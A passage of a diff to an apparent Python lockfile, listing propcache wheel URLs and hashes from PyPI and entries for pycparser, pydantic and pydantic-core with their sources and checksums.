+ { url = "https://files.pythonhosted.org/packages/a9/19/7fa086f5764c59ec8a8e157cd93aa8497acc00aba9dcdec56bfffb32602d/propcache-0.5.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a6ae2198be502c10f09b2516e7b5d019816924bc3183a43ce792a7bd6625e6f4", size = 59886, upload-time = "2026-05-08T21:00:40.621Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/e4/5d7663dc8235956c8f5281698a3af1d351d8820341ddd890f59d9a9127f2/propcache-0.5.2-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6041d31504dc1779d700e1edcfb08eea334b357620b06681a4eabb57a74e574e", size = 63261, upload-time = "2026-05-08T21:00:41.775Z" },
+ { url = "https://files.pythonhosted.org/packages/4a/4a/15a03adee24d6350da4292caeac44c34c033d2afe5e87eb370f38854560f/propcache-0.5.2-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7eabc04151c78a9f4d5bbb5f1faf571e4defeb4b585e0fe95b60ff2dbe4d3d7", size = 64184, upload-time = "2026-05-08T21:00:43.018Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/c6/979176efdaa3d239e36d503d5af63a0a773b36662ed8f52e5b6a6d9fd40e/propcache-0.5.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4db0ba63d693afd40d249bd93f842b5f144f8fcbb83de05660373bcf30517b1d", size = 61534, upload-time = "2026-05-08T21:00:44.507Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/22/63e8cd1bae4c2d2be6493b6b7d10566ddafad88137cfbc99964a1119853c/propcache-0.5.2-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1dbcf7675229b35d31abb6547d8ebc8c27a830ac3f9a794edff6254873ec7c0a", size = 61500, upload-time = "2026-05-08T21:00:45.796Z" },
+ { url = "https://files.pythonhosted.org/packages/60/5a/28e5d9acbac1cc9ccb67045e8c1b943aa8d79fdf39c93bd73cacd68008ea/propcache-0.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d310c013aad2c72f1c3f2f8dd3279d460a858c551f97aeb8c63e4693cca7b4d2", size = 59994, upload-time = "2026-05-08T21:00:47.093Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/40/db650677f554a95b9c01a7c9d93d629e93a15562f5deb4573c9ee136fed2/propcache-0.5.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:06187263ddad280d05b4d8a8b3bb7d164cbebd469236544a42e6d9b28ac6a4fa", size = 56884, upload-time = "2026-05-08T21:00:48.376Z" },
+ { url = "https://files.pythonhosted.org/packages/80/45/70b39b89516ff8b96bf732fa6fded8cef20f293cb1508690101c3c07ec51/propcache-0.5.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:3115559b8effafd63b142ea5ed53d63a16ea6469cbc63dce4ee194b42db5d853", size = 63464, upload-time = "2026-05-08T21:00:49.954Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/e2/fa59d3a89eac5534293124af4f1d0d0ada091ce4a0ab4610ce03fd2bdd8d/propcache-0.5.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c60462af8e6dc30c35407c7237ea908d777b22862bbee27bc4699c0d8bcdc45a", size = 61588, upload-time = "2026-05-08T21:00:51.281Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/97/efb547a55c4bc7381cfb202d6a2239ac621045277bc1ea5dfd3a7f0516c0/propcache-0.5.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40314bca9ac559716fe374094fc81c11dcc34b64fd6c585360f5775690505704", size = 64667, upload-time = "2026-05-08T21:00:52.602Z" },
+ { url = "https://files.pythonhosted.org/packages/92/56/f5c7d9b4b7595d5127da38974d791b2153f3d1eae6c674af3583ace92ad3/propcache-0.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cfa21e036ce1e1db2be04ba3b85d2df1bb1702fa01932d984c5464c665228ff4", size = 62463, upload-time = "2026-05-08T21:00:54.303Z" },
+ { url = "https://files.pythonhosted.org/packages/bd/3b/484a3a65fc9f9f60c41dcd17b428bace5389544e2c680994534a20755066/propcache-0.5.2-cp313-cp313-win32.whl", hash = "sha256:f156a3529f38063b6dbaf356e15602a7f95f8055b1295a438433a6386f10463d", size = 38621, upload-time = "2026-05-08T21:00:55.808Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/fd/3f0f10dba4dabad3bf53102be007abf55481067952bde0fdddff439e7c61/propcache-0.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:dfed59d0a5aeb01e242e66ff0300bc4a265a7c05f612d30016f0b60b1017d757", size = 41649, upload-time = "2026-05-08T21:00:57.061Z" },
+ { url = "https://files.pythonhosted.org/packages/90/ec/6ce619cc32bb500a482f811f9cd509368b4e58e638d13f2c68f370d6b475/propcache-0.5.2-cp313-cp313-win_arm64.whl", hash = "sha256:ba338430e87ceb9c8f0cf754de38a9860560261e56c00376debd628698a7364f", size = 37636, upload-time = "2026-05-08T21:00:58.646Z" },
+ { url = "https://files.pythonhosted.org/packages/1b/82/c1d268bbbf2ef981c5bf0fbbe746db617c66e3bcefe431a1aa8943fbe23a/propcache-0.5.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:a592f5f3da71c8691c788c13cb6734b6d17663d2e1cb8caddf0673d01ef8847d", size = 98872, upload-time = "2026-05-08T21:00:59.889Z" },
+ { url = "https://files.pythonhosted.org/packages/f4/d4/52c871e73e864e6b34c0e2d58ac1ec5ccd149497ddc7ad2137ae98323a35/propcache-0.5.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:6a997d0489e9668a384fcfd5061b857aa5361de73191cac204d04b889cfbbafa", size = 56257, upload-time = "2026-05-08T21:01:01.195Z" },
+ { url = "https://files.pythonhosted.org/packages/67/f0/9b90ca2a210b3d09bcfcd96ecd0f55545c091535abce2a45de2775cfd357/propcache-0.5.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:10734b5484ea113152ee25a91dccedf81631791805d2c9ccb054958e51842c94", size = 56696, upload-time = "2026-05-08T21:01:02.941Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/0e/6e9d4ba07c8e56e21ddec1e75f12148142b21ca83a51871babce095334f4/propcache-0.5.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cafca7e56c12bb02ae16d283742bef25a61122e9dab2b5b3f2ccbe589ce32164", size = 62378, upload-time = "2026-05-08T21:01:04.475Z" },
+ { url = "https://files.pythonhosted.org/packages/65/19/c10badaa463dde8a27ce884f8ee2ec37e6035b7c9f5ff0c8f74f06f08dac/propcache-0.5.2-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f064f8d2b59177878b7615df1735cd8fe3462ed6be8c7b217d17a276489c2b7f", size = 65283, upload-time = "2026-05-08T21:01:05.959Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/b6/93bea99ca80e19cef6512a8580e5b7857bbe09422d9daa7fd4ef5723306c/propcache-0.5.2-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f78abfa8dfc32376fd1aacf597b2f2fbbe0ea751419aee718af5d4f82537ef8c", size = 66616, upload-time = "2026-05-08T21:01:07.228Z" },
+ { url = "https://files.pythonhosted.org/packages/83/e4/5c7462e50625f051f37fb38b8224f7639f667184bbd34424ec83819bb1b7/propcache-0.5.2-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f7467da8a9822bf1a55336f877340c5bcbd3c482afc43a99771169f74a26dedc", size = 63773, upload-time = "2026-05-08T21:01:08.514Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/b6/99238894047b13c823be25027e736626cd414a52a5e30d2c3347c2733529/propcache-0.5.2-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a6ddc6ac9e25de626c1f129c1b467d7ecd33ce2237d3fd0c4e429feef0a7ee1f", size = 63664, upload-time = "2026-05-08T21:01:09.874Z" },
+ { url = "https://files.pythonhosted.org/packages/85/1e/a3a1a63116a2b8edb415a8bb9a6f0c34bd03830b1e18e8ce2904e1dc1cf4/propcache-0.5.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:2f22cbbac9e26a8e864c0985ff1268d5d939d53d9d9411a9824279097e03a2cb", size = 62643, upload-time = "2026-05-08T21:01:11.132Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/03/893cf147de2fc6543c5eaa07ad833170e7e2a2385725bbebe8c0503723bb/propcache-0.5.2-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:fc76378c62a0f04d0cd82fbb1a2cd2d7e28fcb40d5873f28a6c44e388aaa2751", size = 59595, upload-time = "2026-05-08T21:01:12.387Z" },
+ { url = "https://files.pythonhosted.org/packages/86/3b/04c1a2e12c57766568ba75ba72b3bf2042818d4c1425fab6fc07155c7cff/propcache-0.5.2-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:acd2c8edba48e31e58a363b8cf4e5c7db3b04b3f9e371f601df30d9b0d244836", size = 65711, upload-time = "2026-05-08T21:01:13.676Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/34/80f8d0099f8d6bacc4de1624c85672681c8cd1149ca2da0e38fd120b817f/propcache-0.5.2-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:452b5065457eb9991ec5eb38ff41d6cd4c991c9ac7c531c4d5849ae473a9a13f", size = 64247, upload-time = "2026-05-08T21:01:14.936Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/1a/8b08f3a5f1037e9e370c55883ceeeee0f6dd0416fb2d2d67b8bfc91f2a79/propcache-0.5.2-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:3430bb2bfe1331885c427745a751e774ee679fd4344f80b97bf879815fe8fa55", size = 67102, upload-time = "2026-05-08T21:01:16.281Z" },
+ { url = "https://files.pythonhosted.org/packages/34/68/8bdb7bb7756d76e005490649d10e4a8369e610c74d619f71e1aedf889e9c/propcache-0.5.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:cef6cea3922890dd6c9654971001fa797b526c16ab5e1e46c05fd6f877be7568", size = 64964, upload-time = "2026-05-08T21:01:17.57Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/aa/50fb0b5d3968b61a510926ff8b8465f1d6e976b3ab74496d7a4b9fc42515/propcache-0.5.2-cp313-cp313t-win32.whl", hash = "sha256:72d61e16dd78228b58c5d47be830ff3da7e5f139abdf0aef9d86cde1c5cf2191", size = 42546, upload-time = "2026-05-08T21:01:18.946Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/4c/0ddbae64321bd4a95bcbfc19307238016b5b1fee645c84626c8d539e5b74/propcache-0.5.2-cp313-cp313t-win_amd64.whl", hash = "sha256:0958834041a0166d343b8d2cedcd8bcbaeb4fdbe0cf08320c5379f143c3be6e7", size = 46330, upload-time = "2026-05-08T21:01:20.162Z" },
+ { url = "https://files.pythonhosted.org/packages/00/d9/9cddc8efb78d8af264c5ec9f6d10b62f57c515feda8d321595f56010fb23/propcache-0.5.2-cp313-cp313t-win_arm64.whl", hash = "sha256:6de8bd93ddde9b992cf2b2e0d796d501a19026b5b9fd87356d7d0779531a8d96", size = 40521, upload-time = "2026-05-08T21:01:21.399Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/ea/23ee535d90ce8bcc465a3028eb3cc0ce3bd1005f4bb27710b30587de798d/propcache-0.5.2-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:46088abff4cba581dea21ae0467a480526cb25aa5f3c269e909f800328bc3999", size = 94662, upload-time = "2026-05-08T21:01:22.683Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/06/c5a52f419b5d8972f8d46a7577476090d8e3263ff589ce40b5ca4968d5be/propcache-0.5.2-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fc88b26f08d634f7bc819a7852e5214f5802641ab8d9fd5326892292eee1993e", size = 53928, upload-time = "2026-05-08T21:01:23.986Z" },
+ { url = "https://files.pythonhosted.org/packages/63/b1/4260d67d6bd85e58a66b72d54ce15d5de789b6f3870cc6bedf8ff9667401/propcache-0.5.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:97797ebb098e670a2f92dd66f32897e30d7615b14e7f59711de23e30a9072539", size = 54650, upload-time = "2026-05-08T21:01:25.305Z" },
+ { url = "https://files.pythonhosted.org/packages/70/06/2f46c318e3307cd7a6a7481def374ce838c0fe20084b39dd54b0879d0e99/propcache-0.5.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ba57fffe4ac99c5d30076161b5866336d97600769bad35cc68f7774b15298a4e", size = 59912, upload-time = "2026-05-08T21:01:26.545Z" },
+ { url = "https://files.pythonhosted.org/packages/4c/29/fe1aebec2ce57ab985a9c382bded1124431f85078113aa222c5d278430d4/propcache-0.5.2-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:583c19759d9eec1e5b69e2fbef36a7d9c326041be9746cb822d335c8cedc2979", size = 63300, upload-time = "2026-05-08T21:01:27.937Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/18/2334b26768b6c82be8c69e83671b767d5ef426aa09b0cba6c2ea47816774/propcache-0.5.2-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d0326e2e5e1f3163fa306c834e48e8d490e5fae607a097a40c0648109b47ba80", size = 64208, upload-time = "2026-05-08T21:01:29.484Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/76/7f1bfd6afff4c5e38e36a3c6d68eb5f4b7311ea80baf693db78d95b603c4/propcache-0.5.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e00820e192c8dbebcafb383ebbf99030895f09905e7a0eb2e0340a0bcc2bc825", size = 61633, upload-time = "2026-05-08T21:01:31.068Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/46/b3ff8aba2b4953a3e50de2cf72f1b5748b8eca93b15f3dc2c84339084c09/propcache-0.5.2-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c66afea89b1e43725731d2004732a046fe6fe955d51f952c3e95a7314a284a39", size = 61724, upload-time = "2026-05-08T21:01:32.374Z" },
+ { url = "https://files.pythonhosted.org/packages/c5/01/814cfcafbcff954f94c01cf30e097ddc88a076b5440fbcf4570753437d40/propcache-0.5.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d4dc37dec6c6cdad0b57881a5658fd14fbf53e333b1a86cf86559f190e1d9ec4", size = 60069, upload-time = "2026-05-08T21:01:33.67Z" },
+ { url = "https://files.pythonhosted.org/packages/da/68/5c6f7622d510cc666a300687e06fd060c1a43361c0c9b20d284f06d8096a/propcache-0.5.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5570dbcc97571c15f68068e529c92715a12f8d54030e272d264b377e22bd17a5", size = 57099, upload-time = "2026-05-08T21:01:34.915Z" },
+ { url = "https://files.pythonhosted.org/packages/55/27/9cb0b4c679124085327957d42521c99dba04c88c90c3e55a6f0b633ebccc/propcache-0.5.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f814362777a9f841adddb200ecdf8f5cb1e5a3c4b7a86378edbd6ccb26edd702", size = 63391, upload-time = "2026-05-08T21:01:36.231Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/9d/7258aaa5bdf60fc6f27591eef6fe52768cb0beda7140be477c8b12c9794a/propcache-0.5.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:196913dea116aeb5a2ba95af4ddcb7ea85559ae07d8eee8751688310d09168c3", size = 61626, upload-time = "2026-05-08T21:01:37.545Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/0d/41c602003e8a9b16fe1e7eadf62c7bfba9d5474370b24200bf48b315f45f/propcache-0.5.2-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:6e7b8719005dd1175be4ab1cd25e9b98659a5e0347331506ec6760d2773a7fb5", size = 64781, upload-time = "2026-05-08T21:01:38.83Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/f3/38e66b1856e9bd079deea015bc4a55f7767c0e4db2f7dcf69e7e680ba4ce/propcache-0.5.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:51f96d685ab16e88cab128cd37a52c5da540809c8b879fa047731bfcb4ad35a4", size = 62570, upload-time = "2026-05-08T21:01:40.415Z" },
+ { url = "https://files.pythonhosted.org/packages/95/ca/bbfe9b910ce57dde8bb4876b4520fc02a4e89497c10de26be936758a3aaa/propcache-0.5.2-cp314-cp314-win32.whl", hash = "sha256:cc6fc3cc62e8501d3ed62894425040d2728ecddb1ed072737a5c70bd537aa9f0", size = 39436, upload-time = "2026-05-08T21:01:41.654Z" },
+ { url = "https://files.pythonhosted.org/packages/61/d2/45c9defbaa1ea297035d9d4cce9e8f80daafbf19319c6007f157c6256ea9/propcache-0.5.2-cp314-cp314-win_amd64.whl", hash = "sha256:81e3a30b0bb60caa22033dd0f8a3618d1d67356212514f62c57db75cb0ef410c", size = 42373, upload-time = "2026-05-08T21:01:43.041Z" },
+ { url = "https://files.pythonhosted.org/packages/44/68/9ea5103f41d5217d7d6ec24db90018e23aebec070c3f9a6e54d12b841fd8/propcache-0.5.2-cp314-cp314-win_arm64.whl", hash = "sha256:0d2c9bf8528f135dbb805ce027567e09164f7efa51a2be07458a2c0420f292d0", size = 38554, upload-time = "2026-05-08T21:01:44.336Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/81/fadf555f42d3b762eea8a53950b0489fdc0aa9da5f8ed9e10ce0a4e01b48/propcache-0.5.2-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:4bc8ff1feffc6a61c7002ffe84634c41b822e104990ae009f44a0834430070bb", size = 99395, upload-time = "2026-05-08T21:01:45.883Z" },
+ { url = "https://files.pythonhosted.org/packages/f5/c9/c61e134a686949cf7971af3a390148b1156f7be81c73bc0cd12c873e2d48/propcache-0.5.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:79aa3ff0a9b566633b642fa9caf7e21ed1c13d6feca718187873f199e1514078", size = 56653, upload-time = "2026-05-08T21:01:47.307Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/73/daf935ea7048ddd7ec8eec5345b4a40b619d2d178b3c0a0900796bc3c794/propcache-0.5.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1b31822f4474c4036bae62de9402710051d431a606d6a0f907fec79935a071aa", size = 56914, upload-time = "2026-05-08T21:01:48.573Z" },
+ { url = "https://files.pythonhosted.org/packages/79/9f/aba959b435ea18617edd7cf0a7ad0b9c574b8fc7e3d2cd55fb59cb255d33/propcache-0.5.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:13fef48778b5a2a756523fdb781326b028ca75e32858b04f2cdd19f394564917", size = 62567, upload-time = "2026-05-08T21:01:49.903Z" },
+ { url = "https://files.pythonhosted.org/packages/6c/a1/859942de9a791ff42f6141736f5b37749b8f53e65edfa49638c67dd67e6a/propcache-0.5.2-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8b73ab70f1a3351fbc71f663b3e645af6dd0329100c353081cf69c37433fc6fe", size = 65542, upload-time = "2026-05-08T21:01:51.204Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/61/315bc0fd6c0fc7f80a528b8afd209e5fc4a875ea79571b91b8f50f442907/propcache-0.5.2-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5538d2c13d93e4698af7e092b57bc7298fd35d1d58e656ae18f23ee0d0378e03", size = 66845, upload-time = "2026-05-08T21:01:52.539Z" },
+ { url = "https://files.pythonhosted.org/packages/47/f7/9f8122e3132e8e354ac41975ef8f1099be7d5a16bc7ae562734e993665c0/propcache-0.5.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cd645f03898405cabe694fb8bc35241e3a9c332ec85627584fe3de201452b335", size = 63985, upload-time = "2026-05-08T21:01:53.847Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/54/c317819ec157cbf6f35df9df9657a6f82daf34d5faf15948b2f639c2192e/propcache-0.5.2-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a473b3440261e0c60706e732b2ed2f517857344fc21bf48fdfe211e2d98eb285", size = 63999, upload-time = "2026-05-08T21:01:55.179Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/56/387e3f7dfce0a9233df41fb888aa1c30222cb4bbbf09537c02dd9bd85fe2/propcache-0.5.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7afa37062e6650640e932e4cc9297d81f9f42d9944029cc386b8247dea4da837", size = 62779, upload-time = "2026-05-08T21:01:57.489Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/9c/596784cb5824ed61ee960d3f8655a3f0993e107c6e98ab6c818b7fb92ccb/propcache-0.5.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:8a90efd5777e996e42d568db9ac740b944d691e565cbfd31b2f7832f9184b2b8", size = 59796, upload-time = "2026-05-08T21:01:58.736Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/3d/1a6cfa1726a48542c1e8784a0761421476a5b68e09b7f36bf95eb954aaba/propcache-0.5.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:f19bb891234d72535764d703bfed1153cc34f4214d5bd7150aee1eec9e8f4366", size = 66023, upload-time = "2026-05-08T21:02:00.228Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/0e/05fd6990369477076e4e280bcb970de760fddf0161a46e988bc95f7940ec/propcache-0.5.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:32775082acd2d807ee3db715c7770d38767b817870acfa08c29e057f3c4d5b56", size = 64448, upload-time = "2026-05-08T21:02:01.888Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/86/5f8da315a4309c62c10c0b2516b17492d5d3bbe1bb862b96604db67e2a37/propcache-0.5.2-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9282fb1a3bccd038da9f768b927b24a0c753e466c086b7c4f3c6982851eefb2d", size = 67329, upload-time = "2026-05-08T21:02:03.484Z" },
+ { url = "https://files.pythonhosted.org/packages/da/d3/3368efe79ab21f0cdf86ef49895811c9cc933131d4cde1f28a624e22e712/propcache-0.5.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cc49723e2f60d6b32a0f0b08a3fd6d13203c07f1cd9566cfce0f12a917c967a2", size = 65172, upload-time = "2026-05-08T21:02:04.745Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/07/127e8b0bacfb325396196f9d976a22453049b89b9b2b08477cc3145faa44/propcache-0.5.2-cp314-cp314t-win32.whl", hash = "sha256:2d7aa89ebca5acc98cba9d1472d976e394782f587bad6661003602a619fd1821", size = 43813, upload-time = "2026-05-08T21:02:06.025Z" },
+ { url = "https://files.pythonhosted.org/packages/88/fb/46dad6c0ae49ed230ab1b16c890c2b6314e2403e6c412976f4a72d64a527/propcache-0.5.2-cp314-cp314t-win_amd64.whl", hash = "sha256:d447bb0b3054be5818458fbb171208b1d9ff11eba14e18ca18b90cbb45767370", size = 47764, upload-time = "2026-05-08T21:02:07.353Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/c4/a47d0a63aa309d10d59ede6e9d4cff03a344a79d1f0f4cd0cd74997b53e0/propcache-0.5.2-cp314-cp314t-win_arm64.whl", hash = "sha256:fe67a3d11cd9b4efabfa45c3d00ffba2b26811442a73a581a94b67c2b5faccf6", size = 41140, upload-time = "2026-05-08T21:02:09.065Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/ed/1cdcab6ba3d6ab7feca11fc14f0eeea80755bb53ef4e892079f31b10a25f/propcache-0.5.2-py3-none-any.whl", hash = "sha256:be1ddfcbb376e3de5d2e2db1d58d6d67463e6b4f9f040c000de8e300295465fe", size = 14036, upload-time = "2026-05-08T21:02:10.673Z" },
+]
+
+[[package]]
+name = "pycparser"
+version = "3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
+]
+
+[[package]]
+name = "pydantic"
+version = "2.13.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "annotated-types" },
+ { name = "pydantic-core" },
+ { name = "typing-extensions" },
+ { name = "typing-inspection" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = 844775, upload-time = "2026-05-06T13:43:05.343Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = 472262, upload-time = "2026-05-06T13:43:02.641Z" },
+]
+
+[[package]]
+name = "pydantic-core"
+version = "2.46.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ce/8c/af022f0af448d7747c5154288d46b5f2bc5f17366eaa0e23e9aa04d59f3b/pydantic_core-2.46.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3245406455a5d98187ec35530fd772b1d799b26667980872c8d4614991e2c4a2", size = 2106158, upload-time = "2026-05-06T13:38:57.215Z" },
+ { url = "https://files.pythonhosted.org/packages/19/95/6195171e385007300f0f5574592e467c568becce2d937a0b6804f218bc49/pydantic_core-2.46.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:962ccbab7b642487b1d8b7df90ef677e03134cf1fd8880bf698649b22a69371f", size = 1951724, upload-time = "2026-05-06T13:37:02.697Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/bc/f47d1ff9cbb1620e1b5b697eef06010035735f07820180e74178226b27b3/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8233f2947cf85404441fd7e0085f53b10c93e0ee78611099b5c7237e36aacbf7", size = 1975742, upload-time = "2026-05-06T13:37:09.448Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/11/9b9a5b0306345664a2da6410877af6e8082481b5884b3ddd78d47c6013ce/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a233125ac121aa3ffba9a2b59edfc4a985a76092dc8279586ab4b71390875e7", size = 2052418, upload-time = "2026-05-06T13:37:38.234Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/b7/a65fec226f5d78fc39f4a13c4cc0c768c22b113438f60c14adc9d2865038/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b712b53160b79a5850310b912a5ef8e57e56947c8ad690c227f5c9d7e561712", size = 2232274, upload-time = "2026-05-06T13:38:27.753Z" },
+ { url = "https://files.pythonhosted.org/packages/68/f0/92039db98b907ef49269a8271f67db9cb78ae2fc68062ef7e4e77adb5f61/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9401557acd873c3a7f3eb9383edef8ac4968f9510e340f4808d427e75667e7b4", size = 2309940, upload-time = "2026-05-06T13:38:05.353Z" },
